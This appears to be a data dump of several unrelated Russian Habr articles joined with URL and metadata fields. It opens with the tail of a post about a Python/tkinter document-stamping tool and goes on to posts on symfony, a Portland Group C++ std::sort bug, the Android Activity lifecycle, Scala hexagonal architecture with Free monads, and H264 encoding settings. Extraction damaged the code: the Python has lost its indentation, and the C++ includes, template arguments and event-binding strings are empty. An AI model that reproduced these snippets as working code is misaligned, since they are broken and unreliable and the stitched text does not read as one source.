На этом этапе приложение было готово к работе, но возникала проблема с отсутствием python на пользовательских компьютерах. Для решения этой задачи использовался pyinstaller, который заворачивает код и интерпретатор python в один исполняемый файл. Здесь возникает только один нюанс: так-как приложение для открытия pdf требует установленной библиотеки poppler, нужно либо упаковать библиотеку внутрь exe файла, либо положить рядом с exe файлом. И в первом и во втором случае если собирать приложение с командой -noconsole путь до библиотеки не находится, так что пришлось оставить висящее окошко консоли при работе с приложением. На этом все, код приложения:
```
from tkinter import *
from tkinter import filedialog
from PIL import ImageTk, Image
from pathlib import Path
from pdf2image import convert_from_path
import os
canvas_size = 768
document_type = (("document file", "*.jpg *.jpeg *.pdf"),
("pdf files", "*.pdf"), ("image files", "*.jpg *.jpeg"))
sign_type = (("stamp file","*.png"),)
class DocCanv(Canvas):
#Document
DocumentList=None
DocumentImage = None
DocResize = 1
DocImgLink = None
CurentPage=0
#Signature
SignImage = None
SignResize = DocResize
SignImgLink = None
SignObj = None
def DocFile(self, use_in_func=False):
if use_in_func is False:
doc_path = filedialog.askopenfilename(filetypes=document_type)
if (Path(doc_path).suffix).lower() == '.pdf':
try:
#try to use poppler from pyinstaller bundle temp directory
self.DocumentList=convert_from_path(doc_path, poppler_path = os.path.join(sys._MEIPASS, "poppler") )
except:
#reserve for poppler
self.DocumentList=convert_from_path(doc_path, poppler_path = "poppler" )
self.DocumentImage=self.DocumentList[0]
else:
self.DocumentImage = Image.open(doc_path)
self.DocumentList = [self.DocumentImage]
(width, height) = self.DocumentImage.size
self.DocResize = canvas_size / max(height, width)
self.DocImgLink=ImageTk.PhotoImage(
self.DocumentImage.resize((int(width * self.DocResize), int(height * self.DocResize)), Image.ANTIALIAS))
self.create_image(0, 0, image=self.DocImgLink, anchor=NW)
def SignFile(self, sign_path=None):
if self.SignImage is not None:
self.MergeFile()
self.DocFile(True)
if sign_path is None:
sign_path = filedialog.askopenfilename(filetypes = sign_type)
self.SignImage = Image.open(sign_path)
(width, height) = self.SignImage.size
self.SignResize=self.DocResize
self.SignImgLink=ImageTk.PhotoImage(
self.SignImage.resize((int(width * self.SignResize), int(height * self.SignResize)), Image.ANTIALIAS))
self.SignObj = self.create_image(0, 0, image=self.SignImgLink, anchor=NW)
def MoveSign(self, event):
self.coords(self.SignObj, event.x, event.y)
def ResizeSign(self, event):
if event.delta > 0:
self.SignResize = self.SignResize + 0.1
else:
self.SignResize = self.SignResize - 0.1
(width, height) = self.SignImage.size
self.SignImage.resize((int(width * self.SignResize), int(height * self.SignResize)), Image.ANTIALIAS)
self.SignImgLink=ImageTk.PhotoImage(
self.SignImage.resize((int(width * self.SignResize), int(height * self.SignResize)), Image.ANTIALIAS) )
x, y = self.coords(self.SignObj)
self.SignObj = self.create_image(x, y, image=self.SignImgLink, anchor=NW)
def MergeFile(self):
sign_coords =self.coords(self.SignObj)
sign_coords = [(int)(x / self.DocResize) for x in sign_coords]
(width, height) = self.SignImage.size
width=int((width * self.SignResize)/self.DocResize)
height=int((height * self.SignResize) / self.DocResize)
ResizedSign=self.SignImage.resize((width,height), Image.ANTIALIAS)
self.DocumentImage.paste(ResizedSign, box=sign_coords , mask=ResizedSign.convert('RGBA'))
def SaveFile(self,f_type="jpg"):
try:
self.MergeFile()
except:
pass
SavePath=filedialog.asksaveasfilename()
if (SavePath.split('.'))[-1]!=f_type:
SavePath=(SavePath.split('.'))[0]+'.'+f_type
if f_type == 'pdf':
self.DocumentList[0].save(SavePath,save_all=True,append_images=self.DocumentList[1:])
else:
self.DocumentImage.save(SavePath)
def NextPage(self):
try:
self.MergeFile()
self.DocumentList[self.CurentPage]=self.DocumentImage
except:
pass
if (len(self.DocumentList)-1) > self.CurentPage:
self.CurentPage+=1
self.DocumentImage=self.DocumentList[self.CurentPage]
self.SignImage = None
self.SignImgLink = None
self.SignObj = None
self.DocFile(True)
def PrevPage(self):
try:
self.MergeFile()
self.DocumentList[self.CurentPage]=self.DocumentImage
except:
pass
if self.CurentPage>0:
self.CurentPage-=1
self.DocumentImage=self.DocumentList[self.CurentPage]
self.SignImage = None
self.SignImgLink = None
self.SignObj = None
self.DocFile(True)
root = Tk()
root.title("Documents signer")
DocCan = DocCanv(root, width=canvas_size, height=canvas_size)
DocCan.pack(side='right', fill=BOTH, expand=1)
MenuFrame = Frame(root, width=120, bg='gray22')
MenuFrame.pack(side='right', fill=Y)
OpenDocBtn = Button(MenuFrame, text='Open Document',command=DocCan.DocFile)
OpenDocBtn.pack(fill=X, padx=5,pady=3)
SignDocBtn = Button(MenuFrame, text='Open sign',command=DocCan.SignFile)
SignDocBtn.pack(fill=X, padx=5,pady=3)
SavePDFBtn = Button(MenuFrame, text='Save as pdf',command = lambda arg1=DocCan, arg2='pdf': DocCanv.SaveFile(arg1,arg2))
SavePDFBtn.pack(fill=X, padx=5,pady=3)
SaveJPGBtn = Button(MenuFrame, text='Save as jpg',command = lambda arg1=DocCan, arg2='jpg': DocCanv.SaveFile(arg1,arg2))
SaveJPGBtn.pack(fill=X, padx=5,pady=3)
NextPageBtn = Button(MenuFrame, text='Next page',command = DocCan.NextPage)
NextPageBtn.pack(fill=X, padx=5,pady=3)
PrevPageBtn = Button(MenuFrame, text='Prev page',command = DocCan.PrevPage)
PrevPageBtn.pack(fill=X, padx=5,pady=3)
DocCan.bind("", DocCan.MoveSign)
DocCan.bind("", DocCan.ResizeSign)
root.mainloop()
```
[Ссылка на git с готовым приложением](https://github.com/mostdefaultusername/SignPDF/releases/tag/1.0) | https://habr.com/ru/post/549116/ | null | ru | null |
# symfony — первое знакомство, рассуждения и впечатления.
Сегодня хочу рассказать Вам о своем недавно состоявшемся первом знакомстве с фреймворком [symfony](http://symfony-project.org/).
Так как до этого я в течение длительного срока (около полутора лет) разрабатывал свои приложения на Zend Framework'е — мне есть с чем сравнивать.
Во первых, сразу хотелось бы отметить, что документация у этого фреймворка скудная (нет, я не говорю про отсутствие таковой на русском язык, хотя это тоже особо не радует, я говорю о том, что родная документация на [сайте проекта](http://symfony-project.org/) очень не полная. Это естественно я отнесу к категории «минусы».
Но, скажем так — нет ничего невозможного. И поковырявшись (пусть подольше, но все же) можно докапаться до истины (хотя насколько эта истина правильна, оптимальна и т.д. — неизвестно, т.к. вокруг меня к сожалению нет ни одного знакомого программиста, который бы использовал для разработки symfony).
Очень мне понравилась реализация системы локализации в данном фреймворке. Кто работал с этим наверняка со мной согласится, а кто не сталкивался я покажу на примерах:
> ### И так — локализация
>
>
>
> Скажем есть у нас шаблон indexSuccess.php (тем кто все еще не знает, что symfony построен на модели MVC, прошу почитать хотя бы немного об этом фреймворке по ссылкам приведенным мной выше). Так вот, в этом шаблоне мы пишем на нашем default'ном языке (языке по умолчанию), пусть это будет английский — коль он признан международным.
>
>
> > `php echo __('Hello world!', null, 'general'); ?`
>
>
>
> В свою очередь в стуктуре директорий проекта существует такая директория, как i18n (сокращение от internationlisation. Где число 18 — есть ничто иное, как количество букв межд «i» и «n»). В данной директории создадется файл (создается ручками) general.ru.xml, в который и будет складыватся, как вы уже догадались, русский перевод. Вот пример:
>
>
> > 
> >
> > (простите за картинку вместо текста, но нет моих больше сил бороться с хабрапарсером)
>
>
>
> Как вы смогли догадатся при переключении культуры пользователя (проще говоря при смена языка) symfony парсит xml'ный файлик general.ru.xml на наличие перевода для каждой фразы.
>
>
>
> В целом мне нравится такой подход… тем более когда процессорные xml парсеры не за горами. Все это работает действительно быстро (при относительно не большом количестве статичного текста, больше я пока не пробовал).
Опробовал я и «их» хелпер для построение форм. Могу сказать, что довольно не затейливо и первое мое впечатление, что сложные формы построить будет довольно таки не просто (второго впечатления пока нет, т.к. глубже не вникал).
> ### Form Helper
>
>
>
> Использовать его довольно таки просто, наверное легче показать на примере нежели объяснять:
>
>
> > `php echo form_tag('post.php'); ?`
>
>
>
> Соответственно данная функция возвращает:
>
>
> > `
> >
> > (хватило бы терпения одалеть хабрапарсер)`
>
>
>
> Что очень интерестно — закрывать тег придется все же собственноручно. Тоже самое и с остальными input'ами, select'ами и прочим:
>
>
> > `php echo form_tag($moduleName . '/' . $actionName . '?step=third'); ?
> >
> > php $cityOptions[0] = __('Other city', null, 'registration'); ?
> >
> > php echo select_tag('city', $cityOptions); ?
> >
> > php echo __('If you city out of this list - type city name here', null, 'registration'); ?:
> >
> > php echo input_tag('alternativeCity'); ?
> >
> > php echo submit_tag(__('Continue', null, 'registration')) ?`
>
>
>
> Начинается все с php потому что между ними есть html-вставки, которые я сюда постить не стал.<br/
>
Да, да… я думаю вы догадались, о чем я хочу продолжить — о некозистости шаблона в таком виде. Пожалуй это я отнесу опять же к категории «минусы». Могу Вам представить скрин шаблона одной очень маленькой странички и вы поразитесь, насколько он трудночитаем:
Вы скажите: «Так не используй такие хелперы!», но я отвечу тем, что знаю данный фреймворк очень и очень плохо, поэтому пока следую советам из официальной документации, не рискуя эксперементировать самостоятельно.
В заключение скажу, что на данном этапе, на котором я знаю этот фреймворк очень плохо, он мне совсем не по душе. Но буду надеятся на лучшее…
P.S. И да… почему я использую этот фреймворк? Потому что на новой работе попросили использовать именно его и по результатам естественно доложить о его годности.
P.P.S. Я никого не хочу обижать, если я где-то не прав — поправьте, я всего лишь второй день работаю с этим фреймворком и высказываю свое сложившееся впечатление. | https://habr.com/ru/post/44295/ | null | ru | null |
# Ужасный баг в Portland Group C++ компиляторе
Эта публикация для тех, кто вынужден по долгу службы пользоваться pgcpp компилятором или поддерживать совместимость кода с этим компилятором.
На днях я получил баг репорт, что мой код неправильно работает, если его скомпилировать при помощи pgcpp.
Начав разбираться, я нашел место, где происходит ошибка. Оказалось, что если код компилируется с O2 или O3 оптимизацией, то std::sort может начать дублировать часть вектора и заменять этими дубликатами другие части.
Вот простой C++ код, который поможет воссоздать это ужасное поведение (обратите внимание на число 3193 в выводе):
```
#include
#include
#include
struct ID{
ID(){};
ID(unsigned id) : Id(id){};
unsigned Id;
bool operator < ( ID const &other ) const { return Id < other.Id; } };
main(){
std::vector ids;
for (unsigned i=0; i < 5; ++i)
for (unsigned id=0; id < 2000; ++id )
ids.push\_back(ID(id\*5+i));
std::sort(ids.begin(),ids.end());
// std::stable\_sort(ids.begin(),ids.end());
for (std::vector::const\_iterator it=ids.begin();it!=ids.end();++it)
std::cout << it->Id << std::endl;
}
```
Я тестировал в Linux, но предположительно ошибка происходит и в Windows.
Написал в поддержку и они ответили, что смогли воссоздать «это поведение», так что есть надежда, что баг пофиксят в скором времени. Пока же я рекомендую использовать или std::stable\_sort или (если есть возможность выбирать) другой компилятор (у Portland Group есть тоже альтернативный компилятор — pgc++ — и там этот баг не наблюдается).
Всем хорошего дебаггинга и поменьше багов в компиляторах. | https://habr.com/ru/post/249817/ | null | ru | null |
# Памятка по жизненному циклу Android — часть I. Отдельные Activity
Android спроектирован так, чтобы использование приложения пользователем было максимально интуитивным. Например, пользователи приложения могут повернуть экран, ответить на уведомление или переключиться на другое приложение, и после этих манипуляций они все так же должны иметь возможность продолжить использовать приложение без каких-либо проблем.
Чтобы обеспечить такое взаимодействие с пользователем, вы должны знать, как управлять жизненными циклами компонентов. Компонентом может быть Activity, Fragment, Service, класс Application и даже сам процесс приложения. Компонент имеет жизненный цикл, в течение которого он проходит через различные состояния. Всякий раз, когда происходит переход, система уведомляет вас об этом при помощи методов жизненного цикла.
Чтобы нам было легче объяснить, как работает жизненный цикл в Android, мы определили несколько сценариев (примеров из жизни), которые сгруппированы по компонентам:
**Часть 1: Activity** — ЖЦ одного активити (этот пост)
[**Часть 2: Несколько Activity — навигация и бекстек**](https://medium.com/@JoseAlcerreca/the-android-lifecycle-cheat-sheet-part-ii-multiple-activities-a411fd139f24)
[**Часть 3: Fragment-ы — ЖЦ Fragment-ов и Activity**](https://medium.com/@JoseAlcerreca/the-android-lifecycle-cheat-sheet-part-iii-fragments-afc87d4f37fd)
[**Часть 4: ViewModel-и, прозрачные Activity and Launch Mode**](https://medium.com/androiddevelopers/the-android-lifecycle-cheat-sheet-part-iv-49946659b094)
Диаграммы также доступны [в виде шпаргалки в формате PDF](https://github.com/JoseAlcerreca/android-lifecycles) для краткого ознакомления.
> Примечание: эти диаграммы соответствуют поведению в Android P/Jetpack 1.0.
>
>
Следующие сценарии демонстрируют поведение компонентов по умолчанию, если не указано иное.
Если вы обнаружили ошибки в статье или считаете, что не хватает чего-то важного, напишите об этом в комментариях.
Часть 1: Activity
-----------------
### Одно Aсtivity - Сценарий 1. Приложение завершено и перезапущено
Будет вызван, если:
* Пользователь нажимает кнопку **Назад** или
* Вызван метод `Activity.finish()`
Самый простой сценарий показывает, что происходит, когда приложение с одним активити запускается, завершается и перезапускается пользователем:
**Управление состоянием**
* `onSaveInstanceState` не вызывается (поскольку активити завершено, вам не нужно сохранять состояние)
* `onCreate` не имеет Bundle при повторном открытии приложения, потому что активити было завершено и состояние не нужно восстанавливать.
### Одно Aсtivity - Сценарий 2. Пользователь уходит
Будет вызван, если:
* Пользователь нажимает кнопку **"Домой"**
* Пользователь переключается на другое приложение (через меню «Все приложения», из уведомления, при принятии звонка и т. д.)
В этом случае система остановит активити, но не завершит его сразу.
**Управление состоянием**
Когда ваше активити переходит в состояние **Stopped**, система использует `onSaveInstanceState` для сохранения состояния приложения на тот случай, если впоследствии система завершит процесс приложения (см. ниже).
Предполагая, что процесс не был убит, экземпляр активити сохраняется в памяти, сохраняя все состояние. Когда активити возвращается на передний план, вам не нужно повторно инициализировать компоненты, которые были созданы ранее.
### Одно Aсtivity - Сценарий 3. Изменение кофигурации
Будет вызван, если:
* Изменена конфигурация, такие как поворот экрана
* Пользователь изменил размер окна в многооконном режиме
**Управление состоянием**
Изменения конфигурации, такие как поворот или изменение размера окна, должны позволить пользователям продолжить работу с того места, где они остановились.
* Активити полностью уничтожено, но состояние сохраняется и восстанавливается при создании нового экземпляра.
* Bundle в `onCreate` тот же самый, что и в `onRestoreInstanceState`.
### Одно Aсtivity - Сценарий 4. Приложение приостановлено системой
Будет вызван, если:
* Включён многооконный режим (API 24+) и потерян фокус
* Другое приложение частично покрывает работающее приложение: диалоговое окно покупки (in-app purchases), диалоговое окно получения разрешения (Runtime Permission), стороннее диалоговое авторизации и т. д.
* Появится окно выбора приложения (при обработке неявного интента), например диалоговое окно шейринга.
Этот сценарий не применим к:
* Диалогам в том же приложении. Отображение **AlertDialog** или **DialogFragment** не приостанавливает базовое активити.
* Уведомлениям. Пользователь, получающий новое уведомление или открывающий панель уведомлений, не приостанавливает текущее активити. | https://habr.com/ru/post/569092/ | null | ru | null |
# Scala: Гексагональная архитектура и DDD на Free Monad в функциональном программировании
Привет Хабр! Пятничного тру ФП хардкора с Free Monad, Таглес Финал, Монад трансформерами, [Refined Types](https://habr.com/ru/post/574080/), [Smart Constructors](https://medium.com/@supermanue/smart-constructors-in-scala-fa5a03e25326) и прочим таким вам в ленту. Хардкор сам себя в ленту не принесет так что погнали.
Гексагональная архитектура делит наш код на три основные части.
1) Primary Adapters,
2) Secondary Adapter
3) Logic aka Domain.
Primary Adapters изолируют наш домен от вызовов снаружи, фремворков и библиотек вызывающих наш код и эффектов вызванных ими. Например, ввод пользователя. Secondary Adapters изолирует нас и дает абстракции для работы из нашего кода с внешним миром, библиотеками и фреймворками которые вызывает наш код. Например, запись данных в файл. Так для DDD очень хорошо реализуется через Free Monad и Refined Types за счет написания DSL для домена и под доменов, а так же создания Value Objects через Refined Types. Далее мы будем реализовать Secondary Adapters через Free Monad и на созданном нами DSL уже писать код внутри Primary Adapters отдавая его наружу где он уже будет компилироваться.
Вся суть – в Domain описываем наш DSL на Free Monad и пишем на нем код. Primary Adapters отдают этот код наружу. Secondary Adapters содержит компиляторы для нашего кода.
Слои
----
### Domain.Entities
Содержит сущности, присутствующие в нашем домене и являющиеся структурами данных. У сущностей может быть своя собственная логика. В ООП это делается с помощью методов сущностей. Тут мы будем делать это с помощью тайпклассов связанных с нашими сущностями. Например, Movable[A] и Movable[User] поместим в это слой.
**Value Objects** – объекты что сравниваются по всем их полям и являются типом для каких то базовых данных в домене. Это кирпичики, атомы из которых уже строиться все остальное. Например, UserName, HumanAge, Money, Inn (ИНН). Обертка над значением что дает ему свой собственный тип. Хорошо реализуются с помошью [Refined Types](https://habr.com/ru/post/574080/)
```
type UserId = String Refined NonEmpty
object UserId extends RefinedTypeOps[UserId, String] with CatsRefinedTypeOpsSyntax
type UserRole = NonEmptyFiniteString[255]
object UserRole extends RefinedTypeOps[UserRole, String] with CatsRefinedTypeOpsSyntax
type UserAge = Int Refined Interval.ClosedOpen[18, 150]
object UserAge extends RefinedTypeOps[UserAge, Int] with CatsRefinedTypeOpsSyntax
```
**Entities** – Сущности что сравниваются только по их уникальному идентификатору (id). Например, User, Order. Тут могут быть полезны проверки валидности типа с помошью паттерана [Smart Constructors](https://medium.com/@supermanue/smart-constructors-in-scala-fa5a03e25326) например чтобы проверить что какие-то два поля сушности равны друг другу если для сущностей данного типа предпологается что эти поля всегда должны быть равны или например для сущност представляющей собой тип для периода что его начало всега раньше его конца. Period.Start < Period.End.
```
case class User(id: UserId, age: UserAge, roles: List[UserRole])
```
**Aggregate** – набор сущностей собранных вместе для удобной работы с ними. Чтобы управлять ими как чем-то единым. Например, Order и OrderItem. В ФП это работает через тайп классы для AggregateRoot (Если представить связь сущностей как граф в виде дерева, то это будет его корень). Order это AggragateRoot а OrderItem и OrderAddress это входящие в него объекты. Так, чтобы понять чуть подробней цель создания Aggregate давать посмотрим пример создания объекта Car для компьютерной игры с раздельными повреждениями. У нас есть корень Агрегата — это Машина. У нее есть части — это Двигатель, Колеса, Бензобак. У каждого из них есть свой запас прочности. Теперь нам надо написать код для уменьшения их прочности при столкновении. Мы можем достать из хранилища (БД той же) отдельно каждое колесо, уменьшит его прочности. Сохранить его в БД. Потом достать двигатель и уменьшить его поле HP и т.д. А можем сразу достать весь Aggregate и вызвать у него метод или вызвать метод typeclass на Aggregate в котором разом сразу уменьшится HP всех его частей. Потом разом одним запросом мы можем сохранить все его части в БД. getCar, saveCar, setHp(car, hp). Вместо getEngine, saveEngine, setHp(engine, hp). getWheel, saveWheel, setHp(wheel, hp) и т.д. Там же позицию в пространстве можно разом изменить одним методом для всей машины а не изменять координаты каждой из ее частей. Movable[A] и Movable[Car].
```
trait RolesOwner[A] {
def isInRole(a: A, role: String): Boolean
}
object RolesOwner {
def apply[A](implicit t: RolesOwner[A]): RolesOwner[A] = t
}
final class UserRolesOwner extends RolesOwner[User] {
override def isInRole(a: User, role: String): Boolean =
a.roles.exists(x => x.value.toLowerCase == role.toLowerCase)
}
implicit val userRolesOwner = new UserRolesOwner()
implicit class RolesOwnerOps[A](a: A)(implicit t: RolesOwner[A]) {
def isInRole(role: String): Boolean = t.isInRole(a, role)
}
```
### Domain.Services
Сервис — это объект, не являющийся структурой данных. Для ФП тут корректнее рассматривать сервис как набор функций. В общем тут скорее Domain. Functions более корректное название. Тут в ООП обычно лежат интерфейсы (абстракции ака trait или interface) репозиториев и других объектов для взаимодействия с внешним миром. Так же тут сервисы с логикой доменной. В ООП обычно все в методах самих Entities делается и тут только всякие Validators, Calculators лежат иногда. Тут же мы будем описывать наш DSL на Free. Компилятор же будет в слое SecondaryAdapters.
```
type m1[A] = EitherK[UsersRepositoryAlgebra, FilesRepositoryAlgebra, A]
type m2[A] = EitherK[UuidsRepositoryAlgebra, m1, A]
type MyApp[A] = EitherK[TokenParserAlgebra, m2, A]
sealed trait UuidsRepositoryAlgebra[A]
case class GetNext() extends UuidsRepositoryAlgebra[UUID]
class UuidsRepository[F[_]](implicit I: InjectK[UuidsRepositoryAlgebra, F]) {
def getNext(): Free[F, UUID] = Free.liftInject[F](GetNext())
}
object UuidsRepository {
implicit def uuidsRepository[F[_]](implicit I: InjectK[UuidsRepositoryAlgebra, F]): UuidsRepository[F] = new UuidsRepository[F]
}
```
### PrimaryAdapters
Задача этого слоя изолировать нас и абстагироваться от того кто из внешнего мира который вызывает наш код. От контроллеров, хендлеров и прочего. От фреймворков внешних и библиотек вроде PlayFramework, Http4s.Это делает для того чтобы было легко перенести наш код с одного фреймворка на другой. Есди мы захотим чтобы наш код начал вызвать другой фреймворк. Например на Akka-Http. Тут мы создаем код программы на нашем DSL и отдаем его наружу. Скомпилирован он будет уже в самом приложении в Controllers или просто в Main если у нас консольное приложение. Например, AuthService содержит набор функций что возвращает программы для работы с авторизацией и аутентификацией пользователя. Проверка валидности пароля, выдача токена и прочее. Этот слой исполняет роль Anti Corruption Layer
```
final class FilesService(
_users: UsersRepository[MyApp],
_files: FilesRepository[MyApp],
_uuids: UuidsRepository[MyApp],
_tokenParser: TokenParser[MyApp]
) {
type FM[A] = Free[MyApp, A]
def upload[S[_]](token: AuthToken, file: UserFile[S]): EitherT[FM, String, UUID] =
for {
id <- EitherT(_tokenParser.parse(token))
user <- EitherT(_users.get(id))
isAdmin = user.isInRole("admin")
res <-
if (!isAdmin) {
EitherT.fromEither[FM]("You are not prepare!".asLeft[UUID])
} else {
saveFile[S](file)
}
} yield res
def saveFile[S[_]](file: UserFile[S]): EitherT[FM, String, UUID] =
for {
uid <- EitherT.right[String](_uuids.getNext())
_ <- EitherT.right[String](_files.add[S](file, uid))
} yield uid
}
```
### SecondaryAdapters
Задача этого слоя абстрагироваться и изолировать нас от внешнего мира и библиотек или фреймворков что мы вызываем чтобы легко было их заменить. Например библиотеку для работы с БД doobie на какую нибудь другую. Так же тут стартовая точка для "неопределенности", "хаоса", эффектов. Именно этот слой мокается в тестах или для него делают тестовые реализации через монаду Id. Тут обычно лежат реализации репозиториев в ООП. Абстракции над источниками данных. Чистый код – код без протекающих абстракций. Здесь реализации абстракций что работают с библиотеками и фреймворками для ввода вывода или возвращают рандомные значения. Для ФП тут мы будем компиляторы для DSL описанного в домене реализовать. Тут работы уже идет с IO, библиотеками для доступа к БД, Запросам по сети, Доступа к файлам конфигураций. Вообще все что создает эффекты и возвращает значения, не зависящие от входящих параметров функции в том числе случайные значения. Например, UUID.randomUUID() вызывать допустимо только в этом слое потому что этот метод возвращает разные значения при вызове с одним и тем же набором параметров (без параметров точнее). В общем посмотрите на функцию. Если она может вернуть разные значения при вызове с одним и тем же списком параметров значит ее место здесь. В этом слое изолируется неопределённость, хаос. Например чтение данных пользователя из БД, файла или из API какого-то сервиса может быть реализовано через функцию getUserById и если три раза вызвать этот метод getUserById(“1”) с перерывом в несколько дней то он может вернуть совершенно разные значения (пользователя удалили, пользователя перименовали) хотя мы передаем все тот же самый параметр id = “1”. Так же к этому относятся Instant.now() и Random.nextInt().Этот слой тоже исполняет роль Anti Corruption Layer. Тут же весь наш SQL код находиться.
```
type MyIo[A] = ConnectionIO[A]
def createInterpreter(implicit blocker: Blocker, contextShift: ContextShift[IO], sf: Sync[IO]):(MyApp ~> MyIo) = {
val i1: m1 ~> MyIo = new UsersRepositoryCompiler or new FilesRepositoryCompiler
val i2: m2 ~> MyIo = new UuidRepositoryCompiler or i1
val interpreter: MyApp ~> MyIo = new TokenParserCompiler or i2
interpreter
}
final class UuidRepositoryCompiler extends (UuidsRepositoryAlgebra ~> MyIo) {
def apply[A](fa: UuidsRepositoryAlgebra[A]): MyIo[A] =
fa match {
case GetNext() => IO.delay(UUID.randomUUID().asInstanceOf[A]).to[ConnectionIO]
}
}
//Тестовая реализация корая возвращает всегда одно и тоже значение.
//Так же можно сделать тестовую реализацию что возвращает значение преданное в конструктор
final class TestUuidRepositoryCompiler extends (UuidsRepositoryAlgebra ~> Id) {
def apply[A](fa: UuidsRepositoryAlgebra[A]): Id[A] =
fa match {
case GetNext() => UUID.fromString("9ff050a3-3c97-4f85-9826-f7e5c630fa42").asInstanceOf[A]
}
}
```
App
---
Наше приложение и специфичные для него вещи. Файлы миграций и конфигураций. Контроллеры и хендлеры. Точнее специфинчные для основной библиотеки нашего приложения от которой мы изолируемся. У меня сейчас это [Tapir](https://github.com/softwaremill/tapir) + [Http4s](https://github.com/http4s/http4s) поэтому тут будет весь код связанный с ними.
```
final class FilesController(_filesService: FilesService, _xa: Transactor[IO])(implicit blocker: Blocker, contextShift: ContextShift[IO], sf: Sync[IO]) {
val uploadFile =
FilesController.upload.serverLogic(x => uploadFn(x._1, x._2))
def uploadFn(token: AuthToken, stream: fs2.Stream[IO, Byte]): IO[Either[String, String]] =
_filesService
.upload[IO](token, stream)
.value
//Тут проиходит компалия кода написанного на нашем DSL
.foldMap(vw.ddd_scala.core.secondaryAdapters.createInterpreter)
//Тут завершается формирование транзакции. Аналог Commit() для UnitOfWork
.transact(_xa)
.map(x => x.map(y => y.toString))
val endpoints = List(
uploadFile
)
}
object FilesController {
def upload =
endpoint.post
.in("api")
.in("v1")
.in("files")
.tag("Files")
.in("upload")
.in(auth.bearer[AuthToken]())
.summary("Загрузить файл картинки на сервер")
.description("Загружает выбранную картинку")
.in(streamBinaryBody(Fs2Streams[IO]))
.errorOut(stringBody)
.out(stringBody)
}
```
Тот же результата можно достичь без Free с обычными тайпклассами пример
```
//domain
trait UuidRepositoryAlgebra[F[_], A] {
def create(a: A): F[UUID]
}
object UuidRepositoryAlgebra {
def apply[F[_], A](implicit algebra: UuidRepositoryAlgebra[F, A]): UuidRepositoryAlgebra[F, A] = algebra
implicit class UuidRepositoryOps[F[_], A](a: A)(implicit algebra: UuidRepositoryAlgebra[F, A]) {
def create() = algebra.create(a)
}
}
//primary adapters
class UuidService[F[_], A](_uuidRepository: A)(implicit _uuidRepositoryAlgebra: UuidRepositoryAlgebra[F, A]) {
import UuidRepositoryAlgebra._
def create() = _uuidRepository.create()
}
//secondary adapters
final class UuidRepositoryInterpreter[F[_] : Sync, A] extends UuidRepositoryAlgebra[F, A] {
def create(a: A): F[UUID] = Sync[F].delay(UUID.randomUUID())
}
//Usage
case class UuidRepository()
implicit val interpreter = new UuidRepositoryInterpreter[IO, UuidRepository]
val repo = new UuidRepository()
val service = new UuidService[IO, UuidRepository](repo)
service.create().map(x => println(x)))
```
[Исодники примера (основной код в папке core)](https://gitlab.com/VictorWinbringer/ddd_scala)
 | https://habr.com/ru/post/655089/ | null | ru | null |
# Слухи о Nokia N900
В интернете появилась фотография и характеристики новой таблетки от Nokia
``
Размеры устройства не сообщаются, но экран размером 3,5" и имеет разрешение WVGA (800x480) даёт небольшое представление о габаритах устройства. Из средств связи будет иметь HSPA и Wi-Fi. Оборудован GPS и 1Gb встроеной памяти, как и в N810, для карт. Процессор OMAP3430 500/600 MHz и камерой 5 megapixels Carl Zeiss.
Обещают представить в следующем месяце, а доступна будет примерно во второй половине этого года. Разумеется таблетка с ОС Maemo 5, которая, как я понял, не совместима с нынешней версией ОС. Печально, но надеюсь, что это даст новую функциональность. Например может задействуют не используемый ранее графический процессор и отрисовывать всё будет нормальный GPU, а не CPU, как это было раньше. | https://habr.com/ru/post/60496/ | null | ru | null |
# Своя видео-платформа — ffmpeg и качество кодирования видео. Part 2
Lenna любит хорошо выглядеть — фотомодель в конце концов. Ходят легенды, что добавление её в заголовок статьи, связанной с обработкой визуальных данных даёт +5 к шансу на плюсы.
Продолжаю раскрывать особенности работы видео сервисов. Сегодня заметки про параметры кодирования и их выбор.
[Первая часть](https://habr.com/ru/post/436568/)
Большинство кодеков предлагают достаточно сбалансированные значения по умолчанию, позволяя получить нормальный результат без долгого подбора параметров. Однако, когда речь идёт о большом архиве видеоматериала, об ограничениях на битрейт, соображениях совместимости с оборудованием клиента и разумном желании сохранить качество оригинала, всё становится интереснее.
К сожалению, волшебной кнопки «скодировать совсем хорошо» не предусмотрено. Как и аналога [caniuse](http://caniuse.com/) для параметров кодирования. Придётся разбираться в особенностях работы кодеков.
### Вводная часть: профили
Настроек и параметров у H264 такое количество, что сами разработчики для того, чтобы в них не запутаться, решили сделать список профилей — «хороших» конфигураций для разных целей. Стандартных профилей определили много; дополнительно, устанавливая собственные параметры кодирования, вы, фактически, создаёте собственный профиль, запутывая всех окончательно. Так что, к сожалению, получилось как всегда.
Изначально профили создавались для определения, будет ли проигрываться итоговое видео на нужном типе устройств, однако сейчас какого-то однозначного разделения проигрывателей по типам устройств и профилям нет.
На практике я бы выделил, по уровню ресурсоёмкости декодирования, три группы параметров:
* с отключённым CABAC; условно main- и baseline- профили. Их всё ещё можно использовать для поточного вещания, чувствительного к задержкам;
* со включённым CABAC; условно high-профиль. Для всего. Большая часть современного (и не очень) оборудования умеет такое проигрывать. Прирост эффективности по сравнению с main — 20%+;
* с поддержкой десятибитного сэмплирования и других продвинутых параметров. Условно Hi10P. Проблемой таких профилей является практически полное отсутствие аппаратной поддержки и повышенные требования к декодирующему оборудованию; телефоны, даже топовые, могут с такими файлами не справиться. Можно использовать для личной медиатеки, если вы уверены в своём оборудовании. Ещё 10-20% прироста эффективности.
Понятие профилей для других кодеков не так развито, как у H264. Для них можно считать, что если кодек поддерживается, то он поддерживается целиком, и ограничением при проигрывании может быть только черезмерно высокий битрейт, или другой, явно завышенный, параметр. Впрочем, с распространением аппаратных декодеров VP8 и VP9 ситуация может измениться.
Теперь к отдельным параметрам.
### Цветовое пространство
Выбор цветового пространства практически не влияет на эффективность кодирования; этот параметр можно было бы оставить на выбор кодека (он важен при обработке сырых, некодированных данных), если бы не одна особенность: многие плееры весьма специфически обрабатывают информацию о цветовом пространстве, так что у большой части пользователей видео может отображаться с искажениями цвета (в основном зелёного).
Чтобы сохранить цвета для большинства плееров, разные H264 видео нужно кодировать в разных пространствах:
* для SD (ширина < 1280) — BT.601
* для HD (ширина >= 1280) — BT.709
